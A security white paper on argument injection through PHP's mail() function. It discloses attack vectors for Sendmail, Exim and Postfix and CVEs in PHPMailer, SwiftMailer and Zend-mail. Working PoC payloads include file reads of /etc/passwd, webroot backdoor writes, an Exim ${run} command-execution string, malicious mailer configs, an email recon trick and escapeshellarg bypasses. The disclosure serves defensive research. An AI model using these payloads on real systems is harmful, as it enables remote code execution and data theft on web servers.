|=-----------------------------------------------------------------------=| |=-------------=[ Pwning PHP mail() function For Fun And RCE ]=---------=| |=---------------=[ New Exploitation Techniques And Vectors ]=-----------=| |=----------------------------=[ Release 1.0 ]=--------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ by https://legalhackers.com/ ]=-------------------=| |=-----------------------------------------------------------------------=| |=---------------------=[ https://ExploitBox.io ]=-------------------=| |=---------------------=[ @Exploit_Box ]=-------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - SMTP protocol - RFC 2821 2 - The mail() function 2.1 - The 5th parameter ($additional_parameters) 2.2 - The /usr/sbin/sendmail interface invoked by the mail() function 3 - Sendmail Command Injection via mail() and $additional_parameters 3.1 - escapeshellcmd() escaping 3.2 - Sendmail Command Parameter Injection 4 - Differences in the implementation of /usr/sbin/sendmail 5 - Known exploitation vectors 5.1 - Sendmail MTA: Arbitrary File Read with -C argument 5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution 6 - New exploitation vectors/techniques discovered by the author 6.1 - All MTAs: Snatching emails / Performing Recon 6.2 - Sendmail MTA: Improvements to the existing File Write vector 6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config 6.4 - Exim MTA: Remote Code Execution 6.5 - Postfix MTA: Code Execution via malicious config 6.6 - Sendmail MTA: Denial of Service via File Read + File Append 7 - The param injection point & Real World vulnerability examples 7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer) 7.2 - The sender injection via SetFrom() method of the PHP email libs 7.3 - Other injection points / ways to exploit mail() vulnerabilities 8 - Bypass techniques 8.1 - The beauty of RFC 3696 & RFC 822 8.2 - Bypassing escapeshellarg() applied on mail() 9 - Credits 10 - References 11 - Disclaimer --[ 0 - Introduction This white-paper strives to clear the common misonception in regards to the limitations in exploitation of the PHP mail() function and show that the exploitation can be taken further than what is currently believed. It presents several new exploitation vectors and bypass techniques on the PHP mail() function that were discovered and recently released by the author of this white-paper in the course of finding multiple critical vulnerabilities in major PHP e-mail sending libraries (PHPMailer, Zend Framework / Zend-mail, SwiftMailer) that are used by millions of web applications/projects (e.g Wordpress, Drupal, Joomla etc.) and PHP programming frameworks (Zend, Yii2, Symphony, Laravel etc.) The techniques include Exim vector that was believed to not be exploitable via mail() function. This vector takes the mail() injection attacks to a new level. A successful exploitation of the mail() function, could allow attackers to achieve Remote Code Execution and other malicious goals. --[ 1 - SMTP protocol - RFC 2821 According to the RFC 2821 https://www.ietf.org/rfc/rfc2821.txt A client email program would typically send a set of SMTP commands similar to the following when connecting to an SMTP server: HELO server-port25.com MAIL FROM: <support@server-port25.com> RCPT TO: <jdoe@dest-server.com> DATA From: "John Smith" <jsmith@server-port25.com> Reply-To: "Another Johns email" <John2@another-server25.com> To: "Jane Doe" <jdoe@dest-server.com> Subject: test message Date: Wed, 4 Jan 2017 06:19:57 -0400 Hello World, This is a test message sent by SMTP Regards . The important part from the perspective of understanding PHP mail() function / sendmail's email address usage described further on is that SMTP client specifies email addresses related to the sender addresses in 2 places: MAIL FROM: <support@server-port25.com> and in the header set: From: "John Smith" <jsmith@server-port25.com> Reply-To: "Another Johns email" <John2@another-server25.com> that is sent after the DATA command. The first will be used by the destination SMTP server to return an email in case of a delivery problem. The latter will be used entirely by the email client software (such as Outlook, Thunderbird etc.) of the user who receives the email, to display the sender information (based on the From header) in a 'From' address field as well as to decide (based on Reply-To header if present, or From header if missing) which address to reply to when the user clicks the Reply button. --[ 2 - The mail() function mail() is a standard PHP function that is used as an interface for sending e-mails from PHP scripts. http://php.net/manual/en/function.mail.php The function has the following definition: # php --rf mail Function [ <internal:standard> function mail ] { - Parameters [5] { Parameter #0 [ <required> $to ] Parameter #1 [ <required> $subject ] Parameter #2 [ <required> $message ] Parameter #3 [ <optional> $additional_headers ] Parameter #4 [ <optional> $additional_parameters ] } } From an attacker's perspective, the last (5th) argument is the most interesting as it can allow injection of additional parameters to /usr/bin/sendmail program installed on the system which is transparently used by mail() to deliver the actual message. --[ 2.1 - The 5th parameter ($additional_parameters) The 5th parameter is optional. Many web applications use it however to set envelope sender address / return-path with the parameter: -f email@server-address.com or alternatively: -r email@server-address.com The parameter with the address will be passed to /usr/sbin/sendmail, which will use the email address to inform the receiving email server about the origin/sender (through the 'MAIL FROM' SMTP command), for it to know where to return an error message in case of a delivery failure. --[ 2.2 - The /usr/sbin/sendmail interface invoked by the mail() function /usr/sbin/sendmail program, as the name suggests, is an interface that can be used for sending emails. It is provided by the mail transfer agent (MTA) software installed on the system (such as Sendmail, Postfix etc.). When an email is sent with mail() by this simple PHP script: <?php $to = "john@localhost"; $subject = "Simple Email"; $headers = "From: mike@localhost"; $body = 'Body of the message'; $sender = "admin@localhost"; mail($to, $subject, $body, $headers, "-f $sender"); ?> PHP will make the following execve() call to execute sendmail program: execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i -f admin@localhost"], [/* 24 environment vars */]) and pass the following data to its STDIN: To: john@localhost Subject: Simple Email X-PHP-Originating-Script: 0:simple-send.php From: mike@localhost Body of the message The -t and -i parameters are added by PHP automatically. Parameter -t makes sendmail extract headers from STDIN , and -i prevents sendmail from treating '.' as the end of input. The -f comes from the 5th parameter of the mail() function call. What is interesting here is that the sendmail command gets executed with the help of the system shell (sh) which creates some opportunities for command injection attacks if the application passes untrusted input to the last / the 5th parameter of mail() function. --[ 3 - Sendmail Command Injection via mail() and $additional_parameters If an attacker was able to inject data to the 5th parameter of mail() function, for example by means of the $sender variable set to an unfiltered GET variable: $sender = $_GET['senders_email']; mail($to, $subject, $body, $headers, "-f $sender"); The attacker could inject arbitrary extra parameters to the /usr/sbin/sendmail command by making the request to the PHP script: http://webserver/vulnerable.php?senders_email=attackers@email%20extra_data which would execute mail() as: mail(..., "-f attackers@email extra_data"); which would lead to executing sendmail with the parameters: /usr/sbin/sendmail t -i -f attackers@email extra_data --[ 3.1 - escapeshellcmd() escaping The important thing to note is that the mail() function performs command escaping internally by essentially calling the : escapeshellcmd($additional_parameters) function, so that shell metacharacters will not work. For example, setting $senders_email GET variable to: attacker@remote > /tmp/shell_injection will not lead to the file creation of the shell_injection file as > character will get escaped by the escapeshellcmd() and the sendmail call will turn into: /usr/sbin/sendmail t -i -f attacker@remote \> /tmp/shell_injection thus preventing the special function of the '>' shell metacharacter. --[ 3.2 - Sendmail Command Parameter Injection The attacker can however inject additional command parametrs to the sendmail command itself as the escapeshellcmd() function called by mail() does not quote the $additional_parameters parameter by default. It gives a programmer freedom to pass multiple arguments to sendmail, but may introduce a vulnerability to unaware programmers. A successful injection of additional parameters to sendmail, might trigger additional functionality of the sendmail program itself. For example, if the attacker managed to set $return variable to: attackere@remote -LogFile /tmp/output_file The sendmail program would be called as a shell command: /usr/sbin/sendmail -t -i -f attackere@remote -LogFile /tmp/output_file If the -LogFile was a valid argument for the sendmail interface installed on the target machine, this could cause the program to write out a log file into /tmp/output_file. As it turns out Sendmail MTA has such a logging function in its implementation of /usr/sbin/sendmail interface, which can be enabled by -X parameter and could be used to save malicious code provided by the attacker. --[ 4 - Differences in the implementation of /usr/sbin/sendmail As mentioned in the previous chapters, sendmail interface is provided by the MTA email software (Sendmail, Postfix, Exim etc.) installed on the system. Although the basic functionality (such as -t -i -f parameters) remains the same for compatibility reasons, other functions and parameters vary greatly depending on the MTA installed. For example, the aforementioned -X parameter that can be used for logging is only implemented in the Sendmail MTA's version of /usr/sbin/sendmail interface. The others, simply implement it as a dummy switch, for compatibility reasons or do not support it at all. For this reason the man page for sendmail program varies depending on the MTA installed on the system. Here are a few examples of different man pages of sendmail command/interface: Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html Postfix MTA: http://www.postfix.org/mailq.1.html Exim MTA: https://linux.die.net/man/8/exim --[ 5 - Known exploitation vectors The potential malicious usage of the 5th parameter of mail() involving parameter injection to /usr/sbin/sendmail apears to be first uncovered by Sogeti/ESEC company in the blog post released in 2011: http://esec-pentest.sogeti.com/posts/2011/11/03/using-mail-for-remote-code-execution.html The blog post revealed 2 exploitation vectors for Sendmail MTA that may allow an attacker to * read/write to an arbitrary file and potentially gain Remote Code Execution via -C and -X parameters to sendmail interface provided by Sendmail MTA. These 2 vectors only work on Sendmail MTA, and are presented below. --[ 5.1 - Sendmail MTA: Arbitrary File Read with -C argument From sendmail man page: -Cfile Use alternate configuration file. -X logfile Log all traffic in and out of mailers in the indicated log file. These 2 parameters can be combined to cause sendmail to load an arbitrary file as the config, and output the contents as a set of error messages (due to unknown config lines). For example, if attacker injected: -C/etc/passwd -X/tmp/output.txt as the 5th parameter of mail(), the following command would get executed: /usr/sbin/sendmail -i -t -C/etc/passwd -X/tmp/output.txt which would save the following data into /tmp/output.txt: /etc/passwd: line 1: unknown configuration line "root:x:0:0:root:/root:/bin/bash" /etc/passwd: line 2: unknown configuration line "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" /etc/passwd: line 3: unknown configuration line "bin:x:2:2:bin:/bin:/usr/sbin/nologin" /etc/passwd: line 4: unknown configuration line "sys:x:3:3:sys:/dev:/usr/sbin/nologin" /etc/passwd: line 5: unknown configuration line "sync:x:4:65534:sync:/bin:/bin/sync" /etc/passwd: line 6: unknown configuration line "games:x:5:60:games:/usr/games:/usr/sbin/nologin" ... For the attack to be useful to a remote attacker. The output file would need to be placed in a writable directory under the document root where it could be retrieved by the attacker through the web server. --[ 5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution The -X parameter can also be used in combination with the: -OQueueDirectory=/tmp/ parameter of Sendmail MTA's version of /usr/sbin/sendmail interface. The parameter is described by the man page as: QueueDirectory=queuedir Select the directory in which to queue messages. Attacker needs to select a world-writable directory to allow for saving temporary files. This will allow to successfully send a message passed to sendmail, as well as save to the log file into an arbitrary file pointed by -X parameter. Simple PoC: <?php $sender = "attacker@anyhost -OQueueDirectory=/tmp/ -X/tmp/poc.php"; $body = '<?php phpinfo(); ?>'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = "john@localhost"; $subject = "Simple Email"; $headers = "From: mike@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?> The PoC will save the PHP code within $body into the log file with this resulting contents of /tmp/poc.php: 06272 <<< To: john@localhost 06272 <<< Subject: Simple Email 06272 <<< X-PHP-Originating-Script: 0:simplepoc.php 06272 <<< From: mike@localhost 06272 <<< 06272 <<< <?php phpinfo(); ?> 06272 <<< [EOF] As the attacker might be able to control both the filename and contents, this could potentially result in Arbitrary PHP code execution if the attacker managed to save it under a writable directory within the document root such as: -X/var/www/html/webapp1/upload/backdoor.php which they could then execute by a GET request: http://victim-server/webapp1/upload/backdoor.php For this to work, the upload directory must have enabled parsing/execution of PHP files which sometimes gets turned off for security reasons by the administrator or by the webapplication installer (via special rules in .htaccess placed within the upload directory). Also note that the output log file contains a lot of debug information added by Sendmail MTA. --[ 6 - New exploitation vectors/techniques discovered by the author Sendmail MTA is rarely used due to its complexity and a history of vulnerabilities. It is no longer used by modern Linux distributions as the default MTA and have been replaced with Postfix MTA on RedHat-based systems such as CentOS, and with Exim MTA on Debian-based systems such as Ubuntu, Debian etc. This makes it quite difficult to find Sendmail MTA in a real-world setups. On systems where it is available, the exploitation could sometimes be tricky due to the aforementioned limitations (correct webroot paths, requirement for a php-executable/writable directory, mised-up payload). As both of the known vectors presented in previous chapter require Sendmail MTA to work, the author has performed a new research which lead to the discovery of new exploitation vectors/techniques that may be used on systems with modern MTAs such as Exim and Postfix. The research has also produced a new vector for Sendmail MTA as well as some improvements to the already-known vectors. --[ 6.1 - All MTAs: Snatching emails / Performing Recon One of the arguments that does not change across different MTAs is the list of additional recipients which comes after the option list as per this man page: sendmail [option ...] [recipient ...] If attacker control the 5th parameter of mail() they can simply append an extra recipient as shown below: <?php // Recon via mail() vector on all MTAs / sendmail versions // // Created by: // Dawid Golunski - @dawid_golunski - https://legalhackers.com $sender = "nobody@localhost attacker@anyhost-domain.com"; // ^ unfiltered var, coming from attacker via GET, POST etc. $to = "support@localhost"; $headers = "From: mike@localhost"; $subject = "Support ticket: Remote Recon PoC"; $body = "Show me what you got!"; mail($to,$subject,$body,$headers, "-f $sender "); ?> which would execute the command: /usr/sbin/sendmail -t -i -f support@localhost attacker@anyhost-domain.com and send an email similar to the following right into the attacker's mailbox attacker@anyhost-domain.com: Return-Path: <nobody@localhost> Received: from localhost (localhost [127.0.0.1]) by localhost (8.14.4/8.14.4/Debian-8+deb8u1) with ESMTP id v04FSqQ5008197; Wed, 4 Jan 2017 10:28:52 -0500 Received: (from www-data@localhost) by localhost (8.14.4/8.14.4/Submit) id v04FSqEU008196 for attacker@anyhost-domain.com; Wed, 4 Jan 2017 10:28:52 -0500 Date: Wed, 4 Jan 2017 10:28:52 -0500 Message-Id: <201701041528.v04FSqEU008196@localhost> X-Authentication-Warning: localhost: www-data set sender to nobody@localhost using -f To: support@localhost Subject: Support ticket: Remote Recon PoC X-PHP-Originating-Script: 1000:recon-test.php From: mike@localhost This might reveal: * version of operating system in use (Debian) * server IPs * the version of MTA in use (8.14.4 in this case, which is Sendmail MTA) * the name of the script that sent the message (recon-test.php) which could reveal the name of the email sending library/framework in use e.g: X-PHP-Originating-Script: 0:class.phpmailer.php If an application uses a dedicated email library such as PHPMailer, Zend-mail etc. it might also append its version header. For example: X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer) Knowing the library in use attacker can adjust their attack to the specific OS / MTA and PHP email library in use. For example, the above version of PHPMailer is vulnerable to: PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) discovered by the author. --[ 6.2 - Sendmail MTA: Improvements to the existing File Write vector It is mistakenly believed that -X parameter requires a full path and therefore an attacker needs to guess the webroot of a vulnerable website. This is however not true as sendmail will also accept a relative path. This allows the attacker to simply use the current working directory of the remote vulnerable script as a reference. If the remote script is running at the top level of the webroot, the attacker may try to inject the following argument: -X ./upload/backdoor.php instead of -X /var/www/html/webapp1/guessed-webroot/ Additionally, the somewhat long: -OQueueDirectory=/tmp/ parameter can also be reduced to: -oQ/tmp/ which might be useful if a web application limits the size of the $sender string, as well as to bypass potential filtration of '=' character etc. --[ 6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config In a secure deployment of a webapp, PHP script execution might be disabled within the upload directory and the application might only allow upload of static files such as text files, images etc. A new vector was discovered that could allow RCE despite these limitations. As sendmail interface allows to load a custom Sendmail MTA config file via -C argument to /usr/sbin/sendmail , an attacker could upload a malicious config file as a static/text file via webapp's upload feature and use it to force Sendmail to execute malicious code upon processing an email message. This could be achieved by making a copy of /etc/mail/sendmail.cf config file and replacing the default Mlocal mail handler present at the end of the file with a Sendmail config shown below (between the # lines): <?php /* ########################################################################## # Sendmail MTA config vector executing /usr/bin/php that loads RCE code # on stdin passed by mail() (e.g. within message body / subject etc.) # # Make a copy of a sendmail.cf config from /etc/mail/sendmail.cf # and then append this config stanza/vector to the end of it. # Such stanza can then be uploaded to the target webapp into upload/ dir # for example with an example name of: sendmail_cf_exec # # Created by: # Dawid Golunski - @dawid_golunski - https://legalhackers.com Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=php -- $u $h ${client_addr} ########################################################################## */ $sender = "attacker@anyhost -oQ/tmp/ -C./upload/sendmail_cf_exec www-data@localhost"; $body = 'PHP RCE code: <?php system("touch /tmp/PWNED"); ?>'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = "john@localhost"; $subject = "Exim RCE PoC"; $headers = "From: mike@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?> The $sender payload will use relative path to load the crafted Sendmail MTA config file from (previously uploaded with the static file uploader) upload/sendmail_cf_exec and use it to process the incoming email from mail() function. Sendmail MTA will then spawn /usr/bin/php process and process the attacker's payload within the $body of the message. Apart from the remote exploitation with static file upload scenario, this vector could obviously also be very easily used in a shared hosting environment. In such a case, an attacker could easily use /tmp directory to prepare the malicious config and then use mail() vulnerability in the target app to load the config and gain code execution in the context of the victim user. --[ 6.4 - Exim MTA: Remote Code Execution Exim MTA is the default MTA software installed with Debian-based systems such as Ubuntu and Debian. The /usr/sbin/sendmail interface provided by Exim4 has a fairly rich set of functions. The research uncovered -be option which can be very useful to attackers. The man page states: -be Run Exim in expansion testing mode. Exim discards its root privilege, to prevent ordinary users from using this mode to read otherwise inaccessible files. If no arguments are given, Exim runs interactively, prompting for lines of data. Otherwise, it processes each argument in turn. The exim syntax/language provided by Exim was investigated for interesting variables that could be expanded. The exim syntax allows expanding standard variables such as: '$h_subject' or '$recipients'. Further research however uncovered ${run} which can be expanded to return a result of a shell command. For example, the following string: ${run{/bin/true}{yes}{no}} would be expanded to 'yes' upon successful execution of /bin/true. This was quickly turned into Arbitrary Remote Code Execution payload which would execute arbitrary shell command passed within $body of the message: <?php // RCE via mail() vector on Exim4 MTA // Attacker's cmd is passed on STDIN by mail() within $body // Discovered by: // Dawid Golunski - @dawid_golunski - https://legalhackers.com $sender = "attacker@anyhost -be"; $body = 'Exec: ${run{/bin/bash -c "/usr/bin/id >/tmp/id"}{yes}{no}}'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = "john@localhost"; $subject = "Exim RCE PoC"; $headers = "From: mike@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?> This exploit vector seems the most powerful as it can allow attackers to achieve instant RCE on systems with Exim MTA. The code will get executed as soon as injected parameter/body of mail() function gets passed to /usr/sbin/sendmail. There is no need to write to any files and therefore writable directories that are parsed by PHP engine are not required. --[ 6.5 - Postfix MTA: Code Execution via malicious config Postfix has proved to be more tricky during the research. Nevertheless it was possible to determine a way that an attacker could use to achieve code execution when the attacker and the target reside within the same shared hosting environment. Certain setups could also make it possible to carry out the attack remotely. Similarly to Sendmail MTA, the /usr/sbin/sendmail interface provided by Postfix MTA has a -C switch that can be used to load a custom config. sendmail will fail however as soon as the attacker's message message is passed to postdrop command for proessing. Postdrop will notice the -C config and stop further execution. This could be bypassed however by creating a custom main.cf Postfix config in /tmp/main.cf file with the following setting: mailbox_command = /tmp/postfixfakebin/ The attacker could then place a malicious bash script/binary within the postfix_fake_bin directory and inject the following parameter to the /usr/sbin/sendmail interface provided by Postfix MTA, through mail() parameter injection as shown in the PoC below: <?php /* Code Exec via mail() vector on Postfix MTA Attacker's shell cmds must be placed under postdrop file within a shared directory e.g. /tmp/postfixfakebin/postdrop A config line of: mailbox_command = /tmp/postfixfakebin/ must also be added to a shared directory e.g. /tmp/main.cf Created by: Dawid Golunski - @dawid_golunski - https://legalhackers.com */ $sender = "attacker@anyhost -C /tmp/"; // ^ unfiltered vars, coming from attacker via GET, POST etc. $body = 'Simple body, the payload is in postdrop anyway'; $to = "john@localhost"; $subject = "Postfic exec PoC"; $headers = "From: mike@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?> This scenario could potentially be exploited remotely if a target webapp (vulnerable to mail() param injection) provides a file manager utitlity that allows the attacker to create directories/files but does not parse PHP files. Another remote scenario could include a file uploader which lets users upload ZIP files. A malicious zip could contain main.cf and postdrop script/binary which gets extracted into a known location. --[ 6.6 - Sendmail MTA: Denial of Service via File Read + File Append The -C and -X parameters could be used to perform a Denial of Service attack on the target by reading big known files such as web server logs with -C option and appending them to a file in a writable directory by the web server such as /tmp , /var/www/html/upload , /var/lib/php5/sessions etc. to exhaust disk space necessary for the correct operation of the web application / the OS. Although this specific example is limited to Sendmail MTA, this vector likely affects more MTA servers and there likely are other parameters supported by the remaining MTAs that could carry out a similar DoS attack. --[ 7 - The param injection point & Real World vulnerability examples The mail() parameter injection was deemed hardly exploitable / impractical for many years as the 5th parameter of mail() has been thought to be rarely exposed to malicious input outside of web application control panels which are usually restricted to administrative users and therefore are usually of little use to remote attackers. Finding a mail() param injection vulnerability, would also not necessarily guarantee a successful exploitation as it would depend on installed MTA on the web server (its sendmail interface) and up until now the only option was rarely used Sendmail MTA with the 2 vectors -X -C (File Write / Read) which decreased the attack surface further. For this reason, the new attack vectors presented in the previous chapter could be very useful in exploitation of the real world new vulnerabilities described further on and open more attack possibilities. --[ 7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer) Recently a set of mail() param injection vulnerabilities was exposed by the author: PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) Zend Framework/zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) The details can be seen in the respective advisories, however we can have a quick look at the problem they all shared, on the example of PHPMailer. --[ 7.2 - The sender injection via SetFrom() method of the PHP email libs Similarly to the other email libraries, PHPMailer class uses PHP mail() function as its default transport. The transport was implemented using the mailSend() function: protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a //return-path header by the receiver if (!empty($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } ... $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); as can be seen, it creates a $params variable that appends $this->Sender property to '-f ' string to create a sendmail parameter (Envelope Sender / MAIL FROM) that gets passed to the mail() function as the 5th parameter. The internal $this->Sender property can be validated and set by calling the setFrom() method of PHPMailer class. This looks as follows: public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { ... In theory, setFrom() should rarely be exposed to untrusted user input, and even if it was, there is a validation function in place that validates the email to be RFC 822 compliant so this should not be a problem. The PHPMailer tutorial at: https://github.com/PHPMailer/PHPMailer/wiki/Tutorial shows a basic usage PHPMailer as: <?php require 'PHPMailerAutoload.php'; $mail = new PHPMailer; $mail->setFrom('from@example.com', 'Your Name'); $mail->addAddress('myfriend@example.net', 'My Friend'); $mail->Subject = 'First PHPMailer Message'; $mail->Body = 'Hi! first e-mail from PHPMailer.'; if(!$mail->send()) { echo 'Message was not sent.'; echo 'Mailer error: ' . $mail->ErrorInfo; } else { echo 'Message has been sent.'; } Contrary to what the name might suggest, this setFrom() example should not however be used for storing an address provided by visitors. Unfortunatelly, due to the name of the function and the popularity of the code snippet, many scripts use setFrom() to set the visitor's 'From' e-mail address passed through a field in various Contact and Feedback forms. Unaware that they should be using AddReplyTo() (which sets the DATA/Reply-To header, as opposed to the MAIL FROM/Envelope Sender address) instead. Implementation with setFrom() will however achieve the result and the Contact/Feedback form may work as expected, even though it does not conform to the email best practice. This would not make a severe security flaw , if it was not for the fact that the untrusted email address set with setFrom() would end up as the 5th parameter to mail() function and the RFC validation could be bypassed. This made it possible to inject arbitrary parameters to /usr/sbin/sendmail and lead to a critical Remote Code Execution flaw that could be exploited via a range of vectors presented in the previous chapter. As mentioned, the other PHP libraries had a very similar flaw which was later dubbed with a name - "PwnScriptum". More details together with a demo of this vulnerability showing how it could get exploited via a Contact form can be seen at: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html A limited exploit has also been shared at: https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py --[ 7.3 - Other injection points / ways to exploit mail() vulnerabilities The remaining real-world examples will be described in the next version of this white-paper once the issues have been fixed by certain vendors that are currently working on security patches. --[ 8 - Bypass techniques This chapter presents some bypass techniques that might come in handy to bypass similar protections. The next 2 were used to bypass protections offered by the PHP email libraries discussed in the previous chapter. --[ 8.1 - The beauty of RFC 3696 & RFC 822 The RFC 3696 / RFC 822 standards https://tools.ietf.org/html/rfc3696 https://www.ietf.org/rfc/rfc0822.txt emails to take the following forms: Abc\@def@example.com Fred\ Bloggs@example.com Joe.\\Blow@example.com "Abc@def"@example.com "Fred Bloggs"@example.com The generosity of these standards allowed the author to construct a valid email address that complies with the RFCs but is at the same time a malicious payload for the 5th argument of mail(): "Attacker \" -Param2 -Param3"@test.com when passed to a vulnerable PHP email library and then to mail() function, it would cause sendmail to execute with the parameters: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fAttacker\] Arg no. 4 == [-Param2] Arg no. 5 == [-Param3"@test.com] Attacker could thus break out of the -f parameter context and inject additional parameters (arg no. 4 and arg no. 5 in the example above). --[ 8.2 - Bypassing escapeshellarg() applied on mail() It seems intuitive that additional parameters passed to sendmail via the 5th parameter of mail() function should be single quoted with escapeshellarg() function which has been designed for this kind of purpose. Unfortunatelly, it clashes with the internal command escaping performed internally by the mail() function. A good example of this is the CVE-2016-10033 vulnerability which turned into a new vulnerability of CVE-2016-10045 , as the fix of this kind could be bypassed due to the clashing and setting the Sender to: $mail->SetFrom("\"Attacker\\' -Param2 -Param3\"@test.com", 'Client Name'); would result in the followig list of arguments passed to sendmail program: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-f\"Attacker\\\] Arg no. 4 == [-Param2] Arg no. 5 == [-Param3"@test.com'] which again resulted in arbitrary parameters (arg 4 & 5) passed to /usr/sbin/sendmail. --[ 9 - Credits This security white-paper has been written by: Dawid Golunski (@dawid_golunski) https://legalhackers.com dawid[at]legalhackers.com Please add a link back to this paper if the information proved to be useful to you. --[ 10 - References [0] https://legalhackers.com/ [1] https://www.ietf.org/rfc/rfc2821.txt [2] http://php.net/manual/en/function.mail.php [3] http://www.sendmail.org/~ca/email/man/sendmail.html [4] http://www.postfix.org/mailq.1.html [5] https://linux.die.net/man/8/exim [6] https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html [7] https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py [8] https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html --[ 11 - ExploitBox - A Playground For Hackers Interested in vulns/exploitation? .;lc' .,cdkkOOOko;. .,lxxkkkkOOOO000Ol' .':oxxxxxkkkkOOOO0000KK0x:' .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. '';ldxxxxxdc,. ,oOXXXNNNXd;,. .ddc;,,:c;. ,c: .cxxc:;:ox: .dxxxxo, ., ,kMMM0:. ., .lxxxxx: .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: .dxxxxxdl;. ., .. .;cdxxxxxx: .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. .':oxxxxxxxxx.ckkkkkkkkxl,. .,cdxxxxx.ckkkkkxc. .':odx.ckxl,. .,.'. https://ExploitBox.io https://twitter.com/Exploit_Box Subscribe to stay updated and be there for the launch. --[ 12 - Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. --[ EOF